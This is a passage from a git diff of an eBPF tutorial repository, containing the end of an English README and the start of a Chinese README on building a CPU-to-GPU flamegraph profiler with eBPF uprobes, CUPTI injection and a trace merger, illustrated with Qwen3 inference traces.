GPU kernels. +- **The X-Axis is Time**: The width of each rectangle (or "frame") is directly proportional to the total time it spent on the GPU. Because we used duration weighting, a kernel that ran for 200ms will have a frame that is 100 times wider than a kernel that ran for 2ms. This immediately draws your attention to the most expensive parts of your code. +- **Interactivity is Key**: + - **Hover**: Move your mouse over any frame to see its full function name, the total time it consumed (in microseconds), and what percentage of the total execution time it represents. + - **Click to Zoom**: Click on any frame to "zoom in" on it. The flamegraph will redraw to show only the call stacks that pass through that function, making it easy to analyze specific parts of your application. +- **Color is Random**: The colors are chosen randomly to help distinguish adjacent frames. They don't have any specific meaning. + +#### Analyzing the Qwen3 LLM Flamegraph + +When you explore the `qwen3_flamegraph.svg`, you're looking at the real computational fingerprint of a transformer model. You'll be able to trace the execution from the `main` function, through the `chat()` and `forward()` loops, all the way to the specific GPU kernels. + +You will likely notice a few dominant kernels that make up the vast majority of the graph's width: +- **`_Z13matmul_kernel...` (Matrix Multiplication)**: This will be the widest block by a large margin, consuming around 3.1 seconds (95%) of the GPU time. This is the heart of a transformer's feed-forward networks and is the primary computational bottleneck. +- **`_Z27multi_head_attention_kernel...` (Multi-Head Attention)**: This kernel, responsible for the attention mechanism, will be the next largest, but significantly smaller than matrix multiplication (around 105ms, or 3.2%). +- **`_Z14rmsnorm_kernel...` (RMS Normalization)**: These kernels are even smaller, showing that normalization is a relatively cheap operation in this model. + +This visualization provides an immediate, intuitive understanding of where your program's time is going. It proves that for this LLM, optimizing the matrix multiplication operations would yield the biggest performance gains. + +### Going Deeper: Inspecting the Raw Trace Files + +While the flamegraph gives you a fantastic high-level overview, sometimes you need to get your hands on the raw data to answer specific questions. Our profiler generates three distinct trace files, each offering a different lens through which to view your application's performance. Let's explore what each one contains and how you can use it. + +#### 1. The CPU-Side Story: `qwen3_cpu.txt` + +This file contains the raw output from our Rust eBPF profiler. It's a log of every single time the `cudaLaunchKernel` function was called, captured in our special "extended folded format." + +You can peek at the first few lines using `head`: +```bash +head -5 qwen3_cpu.txt +``` + +The output will look something like this: +``` +1761680628903821454 runcu 3861826 3861826 1 _start;__libc_start_main;0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);__device_stub__Z12accum_kernelPfS_i(...);cudaLaunchKernel +1761680628903827398 runcu 3861826 3861826 1 _start;__libc_start_main;0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);__device_stub__Z13matmul_kernelPfS_S_ii(...);cudaLaunchKernel +1761680628903830126 runcu 3861826 3861826 1 _start;__libc_start_main;0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);__device_stub__Z13matmul_kernelPfS_S_ii(...);cudaLaunchKernel +... +``` + +Each line is a complete snapshot of a single event, broken down as follows: +- `1761680628903821454`: The nanosecond timestamp when the event occurred. +- `runcu`: The command name of the process. +- `3861826`: The process ID (PID). +- `3861826`: The thread ID (TID). +- `1`: The CPU core where the event was captured. +- `_start;__libc_start_main;...;cudaLaunchKernel`: The full, semicolon-delimited user-space call stack. + +This file is a treasure trove of information on its own. You can see the exact sequence of kernel launches and the CPU code paths that led to them. You could even generate a CPU-only flamegraph from this file to see which parts of your host code are responsible for calling the CUDA API most frequently. + +#### 2. The GPU-Side Story: `qwen3_gpu.json` + +This file contains the detailed GPU activity trace from our CUPTI injection library, conveniently formatted as a JSON file that can be loaded into the Chrome Trace Viewer. This gives you a powerful timeline visualization of everything that happened on the GPU. + +Take a look at the beginning of the file: +```bash +head -20 qwen3_gpu.json +``` + +You'll see a standard JSON structure. To make sense of it, open Google Chrome and navigate to `chrome://tracing`. Click the "Load" button and select your `qwen3_gpu.json` file. + +The timeline view you'll see is invaluable for understanding the dynamics of GPU execution. You can: +- **See Parallelism**: Visually identify when multiple kernels are running concurrently on different CUDA streams. +- **Spot Bubbles**: Find gaps in the timeline where the GPU was idle, which might indicate CPU-side bottlenecks or inefficient data loading. +- **Analyze Memory Transfers**: See how long `cudaMemcpy` operations are taking and whether they are blocking kernel execution. + +#### 3. The Unified Story: `qwen3_merged.folded` + +This is the final, merged output that we used to generate our flamegraph. It represents the successful correlation of our CPU and GPU traces. + +Let's examine its contents: +```bash +cat qwen3_merged.folded +``` + +The output shows the unique, combined call stacks and their total weighted durations: +``` +0x70c45902a1ca;main;chat(Transformer*, Tokenizer*, Sampler*, char*, char*, int, int, int, TokenBuffer*, int);forward(Transformer*, int, int);__device_stub__Z12accum_kernelPfS_i(float*, float*, int);cudaLaunchKernel;[GPU_Kernel]_Z12accum_kernelPfS_i 29 +0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);__device_stub__Z13matmul_kernelPfS_S_ii(float*, float*, float*, int, int);cudaLaunchKernel;[GPU_Kernel]_Z13matmul_kernelPfS_S_ii 3099632 +0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);__device_stub__Z14rmsnorm_kernelPfS_S_ii(float*, float*, float*, int, int);cudaLaunchKernel;[GPU_Kernel]_Z14rmsnorm_kernelPfS_S_ii 22119 +0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);multi_head_attention(...);__device_stub__Z27multi_head_attention_kerneliiPfS_S_S_S_iiii(...);cudaLaunchKernel;[GPU_Kernel]_Z27multi_head_attention_kerneliiPfS_S_S_S_iiii 105359 +``` + +This format is simple but powerful. Each line consists of two parts: +1. A semicolon-delimited string representing a full call stack, starting from the CPU, going through `cudaLaunchKernel`, and ending with the name of the GPU kernel that was executed (e.g., `[GPU_Kernel]_Z13matmul_kernel...`). +2. A number at the end representing the total time in **microseconds** that this specific call stack spent executing on the GPU. + +For example, the line ending in `3099632` tells us that the call stack leading to the `matmul_kernel` was responsible for a total of 3,099,632 microseconds (or 3.1 seconds) of GPU compute time. This duration weighting is the key to creating a flamegraph that accurately reflects where time is truly being spent, making it an indispensable tool for performance analysis. + +## The Road Ahead: Limitations and Future Directions + +You've successfully built a powerful profiler that provides incredible insight into CPU-GPU interactions. However, like any tool, it has its limitations. Understanding these boundaries is key to using the profiler effectively and seeing the exciting possibilities for future development. + +### What Our Profiler Doesn't Tell You: Inside the Kernel + +Our profiler excels at showing you *which* CPU code launches *which* GPU kernel and for *how long* that kernel runs. If your flamegraph shows a kernel consuming 50ms, you've found a hotspot. But it doesn't tell you *why* it's slow. Is the kernel memory-bound, waiting on data from VRAM? Is it compute-bound, with all its math units saturated? Or is it suffering from thread divergence, where threads within the same warp take different code paths? + +To answer these questions, you need to go a level deeper with **kernel-internal profiling**. This is the domain of specialized tools like **NVIDIA Nsight Compute** or **Nsight Systems**. These profilers can instrument the GPU at the hardware level, collecting metrics on warp occupancy, instruction throughput, and memory latency. The typical workflow is to use our flamegraph profiler first to identify the most time-consuming kernels, and then use Nsight Compute to perform a deep-dive analysis on those specific kernels to optimize their internal performance. + +An alternative approach to achieve fine-grained GPU observability is to run eBPF programs directly on the GPU. This is the direction explored by the eGPU paper and [bpftime GPU examples](https://github.com/eunomia-bpf/bpftime/tree/master/example/gpu). `bpftime` converts eBPF bytecode to PTX instructions that GPUs can execute, then dynamically patches CUDA binaries at runtime to inject these eBPF programs at kernel entry/exit points. This enables observing GPU-specific information like block indices, thread indices, global timers, and warp-level metrics. Developers can instrument critical paths inside GPU kernels to measure execution behavior and diagnose complex performance issues that kernel-side tracing cannot reach. This GPU-internal observability complements kernel tracepoints - together they provide end-to-end visibility from API calls through kernel drivers to GPU execution. + +### The Next Frontier: Building a Unified, System-Wide Profiler + +This tutorial provides a powerful foundation, but the journey doesn't end here. The next evolution is to build a production-grade, continuous profiler that offers a truly holistic view of system performance. This involves moving beyond just correlating CPU calls and GPU kernels to understanding the "why" behind performance bottlenecks and scaling to complex, real-world workloads. + +The future of this work is being developed at **[eunomia-bpf/xpu-perf](https://github.com/eunomia-bpf/xpu-perf)**, an open-source project aimed at creating an online, continuous profiler for both CPU and GPU. Here are the key directions being explored: + +* **From "What" to "Why": Deep Kernel and Instruction-Level Analysis** + Our current profiler tells you *what* kernel ran and for *how long*. The next step is to understand *why* it was slow. This requires diving into the GPU hardware itself. + - **Instruction-Level Stalls**: Using advanced features in vendor libraries like **NVIDIA CUPTI** or technologies like the Intel GPU Observability Architecture (OA) found in tools like **iaprof**, we can capture the specific reasons for stalls within the GPU's execution units. This means identifying bottlenecks caused by memory latency (waiting for data), ALU contention, or other hardware limitations and attributing them back to the exact shader instructions responsible. + - **Hardware Performance Counters**: By sampling hardware performance counters on the GPU, we can collect detailed metrics on cache hit rates, memory bandwidth, and warp occupancy, providing a rich, data-driven picture of in-kernel performance. + +* **A Holistic System View: Combining On-CPU, Off-CPU, and GPU Data** + A process has many states, and a complete profiler must capture all of them. + - **On-CPU vs. Off-CPU**: Our current eBPF profiler focuses on "on-CPU" activity. A complete solution would also trace "off-CPU" time, showing you not just what the CPU was doing, but why it was *waiting*. Was it blocked on I/O, a lock, or, most relevantly, waiting for a GPU kernel to complete? + - **Unified Flamegraphs**: By merging on-CPU, off-CPU, and GPU traces, we can create a single, system-wide flamegraph. This would visualize the entire lifecycle of a request, showing time spent in active CPU computation, time spent waiting for the GPU, and time spent executing on the GPU, all in one seamless view. + +* **Scaling to Production Workloads: Multi-GPU and Multi-Stream Support** + Modern AI and HPC workloads are rarely confined to a single GPU or a single stream. A production-ready profiler must handle this complexity. + - **Multi-GPU Awareness**: The profiler should be able to distinguish between different GPUs, tagging events with a device ID (e.g., `[GPU0_Kernel]name` vs. `[GPU1_Kernel]name`). This enables the analysis of load balancing and helps identify issues specific to one device in a multi-GPU setup. + - **Multi-Stream Correlation**: For applications using multiple CUDA streams for concurrent execution, the correlation logic must be enhanced. This involves tracking stream IDs for both CPU launch calls and GPU kernel executions to correctly attribute work in complex, out-of-order scenarios. + +By integrating these advanced capabilities, we can build a next-generation observability tool that provides unparalleled, end-to-end insight into the performance of accelerated applications. The work on `xpu-perf` aims to make this vision a reality. + +## Tying It All Together: Your Journey in Review + +Congratulations! You've successfully navigated the complex world of CPU-GPU performance analysis. The fundamental challenge in profiling modern accelerated applications is bridging two distinct domains: the CPU, which submits work, and the GPU, which executes it. In this tutorial, you built a complete, end-to-end profiling solution that does exactly that. + +Let's recap the powerful stack you've assembled: +- An **eBPF Profiler**, built in Rust, that uses uprobes to capture CPU stack traces with nanosecond precision at the exact moment `cudaLaunchKernel` is called. +- A **CUPTI Injection Library**, which seamlessly loads into any CUDA application to record detailed GPU activity, complete with the crucial correlation IDs that link GPU work back to its CPU origin. +- A **Python-based Trace Merger**, which acts as a detective, intelligently stitching the CPU and GPU traces together using timestamps and correlation IDs. It produces a duration-weighted folded stack file, ensuring the final visualization accurately reflects real-world execution time. + +The result is a unified flamegraph that provides an intuitive, end-to-end view of your application's execution, from the highest-level CPU functions down to the specific kernels running on the GPU. + +The beauty of this approach is its power and flexibility. It works without recompiling your target application, supports any framework built on CUDA (including PyTorch, TensorFlow, and JAX), and has a low enough overhead to be used in production environments. The tools are modular, allowing you to use the eBPF profiler for CPU-only analysis, the CUPTI tracer for a GPU timeline, or combine them for unparalleled insight. + +You are now equipped with the techniques and tools to diagnose performance bottlenecks in complex machine learning workloads, scientific simulations, or any GPU-accelerated application where understanding the intricate dance between the CPU and GPU is the key to unlocking performance. + +> We hope this tutorial has been an empowering step in your developer journey. To continue learning and exploring the world of eBPF, check out our full collection of tutorials at or visit our website at . Happy profiling! + + +## References + +### Related GPU Profiling Tools + +1. AI Flame Graphs / iaprof (Intel) provides hardware-sampling driven GPU and software stack flamegraphs (EU stalls, kernels, and CPU stacks), open-sourced in 2025. This is deeper than our tutorial: it samples inside GPU kernels and attributes stall reasons back to code context. Use this when you need hardware stall analysis and an end-to-end view. [Brendan Gregg](https://www.brendangregg.com/blog/2024-10-29/ai-flame-graphs.html) | [GitHub](https://github.com/intel/iaprof) + +2. Nsight Systems and Nsight Compute (NVIDIA) are official tools. Systems gives CPU to GPU timelines and API/kernels; Compute gives in-kernel metrics and roofline-style analyses. Ideal for deep tuning, not always for low-overhead continuous profiling. [NVIDIA Docs](https://docs.nvidia.com/nsight-systems/UserGuide/index.html) + +3. PyTorch Profiler / Kineto (NVIDIA/Meta, also AMD/Intel backends) records CPU ops and GPU kernels via CUPTI and shows them in TensorBoard/Chrome Trace. It supports CPU to accelerator flow links ("ac2g"). Great when you're already in PyTorch. [PyTorch Blog](https://pytorch.org/blog/automated-trace-collection/) | [PyTorch Docs](https://pytorch.org/docs/stable/profiler.html) + +4. HPCToolkit (Rice) provides low-overhead call-path profiling that can attribute GPU kernel time to CPU calling context, and on NVIDIA can use PC sampling to examine instruction-level behavior. Powerful for production runs and cross-vendor GPUs. [Argonne Leadership Computing Facility](https://www.alcf.anl.gov/sites/default/files/2024-11/HPCToolkit-ALCF-2024-10.pdf) + +5. AMD ROCm (rocprofiler-SDK) offers HIP/HSA tracing with Correlation_Id to connect async calls and kernels. If you want an AMD version of this tutorial, integrate with rocprofiler events. [ROCm Documentation](https://rocm.docs.amd.com/projects/rocprofiler-sdk/en/docs-6.3.1/how-to/using-rocprofv3.html) + +6. Level Zero tracer (Intel) allows you to intercept Level Zero API calls (loader tracing) and build a similar correlator with L0 callbacks for Intel GPUs. [Intel Docs](https://www.intel.com/content/www/us/en/docs/oneapi/optimization-guide-gpu/2023-1/level-zero-tracer.html) + +7. Perfetto / Chrome Trace viewer is your choice for viewing `.json` timelines. Perfetto is the modern web UI that reads Chromium JSON traces (what your CUPTI converter emits). [Perfetto](https://perfetto.dev/) + +### Technical Documentation + +1. NVIDIA CUPTI Documentation: +2. CUPTI Activity API: +3. CUPTI ActivityKernel8 Structure: +4. CUDA Profiling Guide: +5. Nsight Systems User Guide: +6. eBPF Stack Trace Helpers: +7. Chrome Trace Format: +8. Flamegraph Visualization: + +### Advanced Topics + +1. bpftime GPU eBPF: +2. iaprof Intel GPU Profiling Analysis: +3. Tutorial Repository: + +Complete source code including the eBPF profiler, CUPTI injection library, trace merger, and test applications is available in the tutorial repository. Contributions and issue reports welcome! diff --git a/src/xpu/flamegraph/README.zh.md b/src/xpu/flamegraph/README.zh.md new file mode 100644 index 00000000..6c48c1d8 --- /dev/null +++ b/src/xpu/flamegraph/README.zh.md @@ -0,0 +1,728 @@ +# eBPF 示例:使用 CUPTI 构建 GPU 火焰图分析器 + +您是否曾想过,您的哪部分 CPU 代码负责启动特定的 GPU 内核?CPU 分析器可以向您显示主机端的调用堆栈,但一旦工作移交给 GPU,它们就会失去可见性。另一方面,GPU 分析器详细说明了设备上发生的情况,但通常不会将其链接回启动它的特定 CPU 函数。这就产生了一个盲点,使得回答一个关键问题变得困难:“我的哪行代码导致了这个缓慢的GPU内核运行?” + +本教程将指导您构建一个弥合这一差距的分析器。您将使用 eBPF 和 NVIDIA 的 CUPTI(CUDA 分析工具接口)的强大功能,创建一个统一的 CPU 到 GPU 的火焰图。最终,您将拥有一个工具,该工具能在 `cudaLaunchKernel()` 调用时捕存 CPU 堆栈跟踪,并智能地将其与相应 GPU 内核的执行数据拼接在一起。其结果是一个强大的可视化,可以精确地揭示哪些主机代码路径正在触发哪些 GPU 内核,从而让您无需重新编译应用程序即可查明性能瓶颈。我们将通过使用 CUPTI 的关联 ID 来实现这一点,这些 ID 充当了连接 CPU 端 API 调用与其 GPU 端内核执行的桥梁。 + +## 一个真实世界的例子:分析 Qwen3 LLM 推理 + +为了看到我们的分析器在实际中的应用,让我们看一个真实世界的例子:在推理过程中分析一个 Qwen3 0.6B 的大语言模型。下面展示的火焰图,可视化了整个操作过程,将 CPU 调用堆栈与它们启动的 GPU 内核合并在一起。从图中可以立刻清楚地看到,`matmul_kernel`(矩阵乘法)是耗时最长的部分,占了总 GPU 执行时间的 95%。 + +![Qwen3 LLM 推理火焰图](qwen3_flamegraph.svg) + +**此火焰图的主要见解:** + +这个可视化让我们清楚地了解了 GPU 的时间都花在了哪里: +- **`matmul_kernel`**:3.1 秒(占 GPU 时间的 95%)。这告诉我们,矩阵乘法是目前为止最大的性能瓶颈。 +- **`multi_head_attention_kernel`**:105 毫秒(3.2%)。注意力机制增加了一小部分开销。 +- **`rmsnorm_kernel`**:44 毫秒(1.3%)。归一化是一个相对开销较小的操作。 +- **端到端可见性**:火焰图显示了从 CPU 上的 `main` 函数一直到在设备上执行的特定 `[GPU_Kernel]` 的完整调用链。 + +## 幕后魔法:注入与关联 + +那么,我们是如何创建这个统一视图的呢?这个过程涉及两种关键技术协同工作:用于 CPU 端的 eBPF 和用于 GPU 端的 CUPTI。 + +1. **使用 CUPTI 注入进行 GPU 追踪**:我们首先创建一个小型的自定义 CUPTI 库。通过设置 `CUDA_INJECTION64_PATH` 环境变量,我们告诉 CUDA 运行时将我们的库与应用程序一起加载。一旦加载,这个库就会使用 CUPTI API 来记录所有的 GPU 活动,例如内核启动和内存传输。关键是,它为每个事件捕获时间戳和特殊的**关联 ID**。 + +2. **使用 eBPF 进行 CPU 分析**:同时,我们使用一个 eBPF "uprobe" 从外部监控应用程序。这个探针附加到 CUDA 运行时库中的 `cudaLaunchKernel()` 函数上。每当应用程序调用此函数以启动内核时,我们的 eBPF 程序就会启动,捕获那一刻完整的 CPU 调用堆栈。 + +3. **连接点滴**:应用程序运行结束后,我们剩下两组数据:来自 CUPTI 的 GPU 事件跟踪和来自 eBPF 的 CPU 堆栈跟踪集合。一个最终的脚本然后将它们合并。它使用来自 CUPTI 的**关联 ID** 将一个特定的 `cudaLaunchKernel` API 调用链接到在 GPU 上实际运行的内核。然后它找到由 eBPF 捕获的相应 CPU 堆栈跟踪(通常通过匹配时间戳)并将 GPU 内核的名称附加到它上面。 + +结果是一个“折叠的”堆栈文件,准备好被转换成火焰图,其中每一行代表一个完整的 CPU 到 GPU 的调用链。 + +> 您可以在这里找到本教程的完整源代码: + +## 核心问题:为何关联 CPU 和 GPU 如此困难? + +要理解我们为什么需要一个特殊的工具,关键是要掌握 GPU 分析的根本挑战。当你运行一个 CUDA 应用程序时,你实际上是在处理两个并行运行的独立世界:**CPU** 和 **GPU**。 + +- **在 CPU 端**,你的应用程序代码调用 CUDA 运行时库(例如 `cudaLaunchKernel`、`cudaMemcpy`)。这些调用并不直接执行工作;相反,它们将命令打包并发送给 GPU 驱动程序。 +- **在 GPU 端**,硬件接收这些命令并执行它们。这包括启动成千上万个线程的内核、移动数据和执行计算。 + +你想要找到的性能瓶颈通常存在于这两个世界之间的交接处。传统的分析器在这里会遇到困难。一个 CPU 分析器(例如 `perf`)可以告诉你程序在 `cudaLaunchKernel` 内部花费了大量时间,但它无法告诉你*哪个*内核被启动了,也无法告诉你它在 GPU 上实际运行了多长时间。相反,一个 GPU 分析器(如 NVIDIA 的 Nsight)会给你关于内核执行的详细指标,但不会向你展示导致它运行的特定 CPU 代码行。 + +这种脱节正是我们要解决的问题。而且这并非 NVIDIA 独有。无论你使用的是 AMD 的 ROCm 还是 Intel 的 Level Zero,将 CPU 端的原因与 GPU 端的效果联系起来的挑战是普遍存在的。解决方案,无论平台如何,都是找到一种方法在 CPU 上“标记”一个请求,并在 GPU 上找到相同的标记。 + +幸运的是,NVIDIA 的 CUDA 运行时提供了我们正需要的东西:**关联 ID**。每次进行像 `cudaLaunchKernel` 这样的 API 调用时,运行时都会为其分配一个唯一的 ID。这个 ID 会随着工作一起传递给 GPU。之后,当内核执行时,它会携带相同的 ID。通过在两边捕获这个 ID,我们就可以明确地将一个 CPU 调用堆栈链接到一个 GPU 内核执行。这就是 CUPTI 变得至关重要的地方,因为它让我们能够访问这些活动记录。通过将一个基于 CUPTI 的追踪器注入到我们的应用程序中,我们可以在不重新编译任何东西的情况下收集这些事件。 + +## 我们的分析器架构:eBPF + CUPTI 注入 + +我们的分析器建立在一个由三部分组成的架构之上,该架构结合了 eBPF、CUPTI 和一个最终的合并步骤。以下是各个部分如何协同工作: + +1. **eBPF 分析器(CPU 端监控)**:此组件充当我们的 CPU 端看门狗。它使用一个 eBPF **uprobe** 附加到 CUDA 运行时库内的 `cudaLaunchKernel` 函数。每当系统上的任何进程调用此函数时,我们的 eBPF 程序就会触发,立即以纳秒级精度捕获完整的 CPU 调用堆栈。这为我们提供了发起 GPU 工作的确切代码路径的快照——从主函数到特定的循环或方法。 + +2. **CUPTI 注入库(GPU 端追踪)**:为了观察 GPU 的活动,我们使用了一种称为库注入的巧妙技巧。我们编译一个小型的共享库,该库使用 CUPTI API。通过设置 `CUDA_INJECTION64_PATH` 环境变量,我们指示 CUDA 运行时自动将我们的库加载到目标应用程序中。一旦进入,它会激活 CUPTI 的活动追踪功能,该功能记录内核执行和运行时 API 调用的详细事件。这些记录包括高精度时间戳,以及最关键的**关联 ID**,它们将所有内容联系在一起。 + +3. **追踪合并器(连接追踪数据)**:分析会话结束后,我们拥有两个原始数据流:来自 eBPF 的 CPU 堆栈追踪和来自 CUPTI 的 GPU 活动记录。最后一步是将它们合并。一个脚本解析两个追踪文件并开始关联过程。它首先在两个追踪文件中找到匹配的 `cudaLaunchKernel` 事件(以时间戳为指导),然后使用这些事件的关联 ID 将 CPU 端的调用与正确的 GPU 内核执行联系起来。输出是一个统一的“折叠堆栈”文件,其中每一行看起来像这样:`cpu_func1;cpu_func2;cudaLaunchKernel;[GPU_Kernel]kernel_name count`。这种格式正是标准 `flamegraph.pl` 脚本生成最终可视化所需要的。 + +## 认识我们的团队:分析器的组成部分 + +我们的分析系统由四个关键组件组成,它们协同工作,为我们提供应用程序性能的完整画面。让我们来了解每个组件所扮演的角色。 + +* **指挥家:`gpuperf.py`** + 这个 Python 脚本是整个分析过程的主要入口和协调者。它负责在 eBPF 分析器和 CUPTI 追踪器都激活的情况下启动目标应用程序。它设置必要的环境变量,在正确的时间启动和停止追踪器,并启动最终的合并步骤以生成统一的火焰图数据。它还优雅地处理清理工作,并提供不同的模式,允许您运行仅 CPU、仅 GPU 或组合的分析。 + +* **CPU 间谍:Rust eBPF 分析器 (`profiler/`)** + 这是一个使用 `libbpf` 库在 Rust 中构建的高性能堆栈追踪收集器。它的工作是监视 CPU。它将一个 eBPF uprobe 附加到 CUDA 运行时库中的 `cudaLaunchKernel` 函数。每当调用此函数时,分析器就会捕获完整的用户空间堆栈追踪,记录一个高精度的时间戳,并将其保存在一种特殊的“扩展折叠格式”中。这种扩展格式至关重要,因为时间戳使我们能够稍后将这些 CPU 事件与 GPU 活动关联起来。 + +* **GPU 信息员:CUPTI 追踪注入库 (`cupti_trace/`)** + 这是一个 C++ 共享库,充当我们内部的信息员。通过 `CUDA_INJECTION64_PATH` 加载到目标应用程序中,它使用 CUPTI API 订阅 GPU 活动。它记录有关运行时 API 调用和内核执行的详细信息,包括它们的开始和结束时间戳以及至关重要的**关联 ID**。这个库被设计为非侵入性的;它异步收集数据并将其写入追踪文件,所有这些都无需对原始应用程序进行任何更改。 + +* **侦探:追踪合并器 (`merge_gpu_cpu_trace.py`)** + 这个 Python 脚本扮演侦探的角色。在分析运行完成后,它接收来自我们 eBPF 间谍的 CPU 追踪和来自我们 CUPTI 信息员的 GPU 追踪,并将整个故事拼接在一起。它通过一个两步过程智能地将 CPU 堆栈追踪与它们相应的 GPU 内核执行相匹配:首先通过查找时间上相近的事件,然后通过使用关联 ID 确认匹配。一旦找到匹配项,它就会将 GPU 内核的名称附加到 CPU 堆栈追踪中,并生成最终的折叠堆栈文件,以供可视化。 + +## 深入了解:分析流程如何运作 + +要真正理解我们的分析器是如何工作的,让我们跟随一个 `cudaLaunchKernel` 调用的整个流程。从您执行 `gpuperf.py` 脚本的那一刻起,到最终生成火焰图,我们将追踪数据的流动,看看每个组件是如何发挥其作用的。 + +### 我们分析器的三大支柱 + +我们的流程建立在三个核心技术实现之上。让我们检查每个部分的关键代码片段,以了解它们的功能。 + +1. **使用 eBPF 分析器捕获 CPU 堆栈 (`profiler/src/bpf/profile.bpf.c`)** + + 我们 CPU 端监控的核心是一个用 C 语言编写的轻量级 eBPF 程序。该程序被编译成高效的本地字节码,直接在内核中运行,确保了最小的性能开销。与在运行时解释脚本的工具不同,这种基于 `libbpf` 的方法既快速又安全。我们用它来动态地将一个 uprobe 附加到 `cudaLaunchKernel` 函数上,而无需修改任何 NVIDIA 自己的二进制文件。 + +```c +// 当 cudaLaunchKernel 被调用时,捕获堆栈跟踪的 eBPF 程序 +SEC("uprobe") +int uprobe_handler(struct pt_regs *ctx) +{ + struct stacktrace_event *event; + + // 在环形缓冲区中为事件预留空间 + event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); + if (!event) + return 1; + + // 捕获进程/线程信息 + event->pid = bpf_get_current_pid_tgid() >> 32; + event->cpu_id = bpf_get_smp_processor_id(); + event->timestamp = bpf_ktime_get_ns(); // 纳秒级时间戳 + bpf_get_current_comm(event->comm, sizeof(event->comm)); + + // 捕获内核和用户堆栈跟踪 + event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); + event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); + + bpf_ringbuf_submit(event, 0); + return 0; +} +``` + +当 `uprobe_handler` 被触发时,它会捕获关于 CPU 端调用的所有必要信息。它记录进程和线程 ID,获取一个纳秒级精度的时间戳,最重要的是,使用 `bpf_get_stack()` 辅助函数遍历用户空间堆栈并捕获完整的调用链。这些数据随后通过 BPF 环形缓冲区高效地从内核发送到我们的用户空间 Rust 应用程序。 + +一旦进入用户空间,Rust 分析器会执行几个关键任务。它接收原始堆栈数据,将内存地址解析为人类可读的函数名(这个过程称为符号化,这里使用 `blazesym` 库完成),并将其全部格式化为我们特殊的“扩展折叠格式”。 + +一个标准的火焰图折叠堆栈看起来是这样的:`stack1;stack2;stack3 1`。末尾的 `1` 只是一个计数。我们的扩展格式,通过 `-E` 标志启用,增加了关键的时间和上下文信息:`timestamp_ns comm pid tid cpu stack1;stack2;...;stackN`。这个时间戳是解锁与 GPU 追踪数据关联的关键。它告诉我们 `cudaLaunchKernel` 调用发生的*确切时间*,使我们能够将其与微秒或毫秒后发生的 GPU 事件相匹配。 + +2. **使用 CUPTI 注入库监视 GPU (`cupti_trace/cupti_trace_injection.cpp`)** + + 现在来看 GPU 端。我们如何在不修改应用程序的情况下观察 GPU 的活动?我们使用 CUDA 驱动程序的一个强大功能,称为**库注入**。我们创建一个小型的 C++ 共享库,作为我们的 GPU 信息员。通过将 `CUDA_INJECTION64_PATH` 环境变量指向我们的库,我们告诉 CUDA 运行时自动将其加载到应用程序的进程空间中。 + + 神奇之处在于,我们的库在主 CUDA 运行时完全初始化*之前*被加载。这为我们设置监视设备提供了绝佳的机会。我们使用一个 `__attribute__((constructor))` 函数,Linux 动态加载器在加载我们的库时会自动运行它。在这个构造函数内部,我们激活 CUPTI 并告诉它我们感兴趣的事件。 + +```cpp +// 这个函数在我们的库被加载时自动调用。 +__attribute__((constructor)) +void InitializeInjection(void) +{ + // 订阅 CUPTI 回调 + cuptiSubscribe(&subscriberHandle, CallbackHandler, NULL); + + // 为内核和运行时 API 启用活动追踪 + cuptiActivityEnable(CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL); + cuptiActivityEnable(CUPTI_ACTIVITY_KIND_RUNTIME); + + // 注册我们的回调函数来处理数据缓冲区。 + // 当需要内存存储数据时,CUPTI 将调用 `BufferRequested`, + // 当缓冲区已满并准备好处理时,将调用 `BufferCompleted`。 + cuptiActivityRegisterCallbacks(BufferRequested, BufferCompleted); +} + +// 每当活动记录的缓冲区已满时,CUPTI 就会触发此回调。 +void CUPTIAPI BufferCompleted(CUcontext ctx, uint32_t streamId, uint8_t *buffer, + size_t size, size_t validSize) +{ + CUpti_Activity *record = NULL; + + // 遍历已完成缓冲区中的所有活动记录。 + while (CUPTI_SUCCESS == cuptiActivityGetNextRecord(buffer, validSize, &record)) { + switch (record->kind) { + // 此记录类型包含有关 GPU 内核执行的详细信息。 + case CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL: { + CUpti_ActivityKernel4 *kernel = (CUpti_ActivityKernel4 *)record; + + // 我们提取最重要的细节:内核的名称、其开始和 + // 结束时间戳(来自 GPU 自己的高精度时钟),以及 + // 将其链接回 CPU 端 API 调用的至关重要的关联 ID。 + fprintf(outputFile, "CONCURRENT_KERNEL [ %llu, %llu ] duration %llu, \"%s\", correlationId %u\n", + kernel->start, // GPU 时间戳 (ns) + kernel->end, // GPU 时间戳 (ns) + kernel->end - kernel->start, + kernel->name, // 内核函数名 + kernel->correlationId); // 到 CPU API 调用的链接! + break; + } + // 此记录类型包含有关 CUDA 运行时 API 调用的详细信息。 + case CUPTI_ACTIVITY_KIND_RUNTIME: { + CUpti_ActivityAPI *api = (CUpti_ActivityAPI *)record; + + // 我们只关心 `cudaLaunchKernel` 调用,因为它们是 + // 启动我们正在追踪的内核的调用。 + if (api->cbid == CUPTI_RUNTIME_TRACE_CBID_cudaLaunchKernel_v7000) { + fprintf(outputFile, "RUNTIME [ %llu, %llu ] \"cudaLaunchKernel\", correlationId %u\n", + api->start, // API 入口时间戳 + api->end, // API 退出时间戳 + api->correlationId); // 与相应内核相同的 ID。 + } + break; + } + } + } +} +``` + +当目标应用程序运行时,CUPTI 在后台静默工作,用详细的活动记录填充内存缓冲区。这个过程是高效且异步的。当缓冲区满时,CUPTI 调用我们的 `BufferCompleted` 回调,提供一批事件供我们处理。 + +在这个回调内部,我们遍历两种重要的记录类型: + +1. **`CUPTI_ACTIVITY_KIND_RUNTIME`**:这告诉我们何时调用了 CUDA 运行时函数,例如 `cudaLaunchKernel`。我们记录其时间戳,以及最关键的,CUDA 运行时分配给此特定调用的**关联 ID**。 + +2. **`CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL`**:此记录在 GPU 内核执行完成后生成。它包含丰富的信息,包括内核的名称、其精确的开始和结束时间戳(由 GPU 自己的硬件时钟测量),以及我们在运行时 API 记录中看到的完全相同的**关联 ID**。 + +这个共享的关联 ID 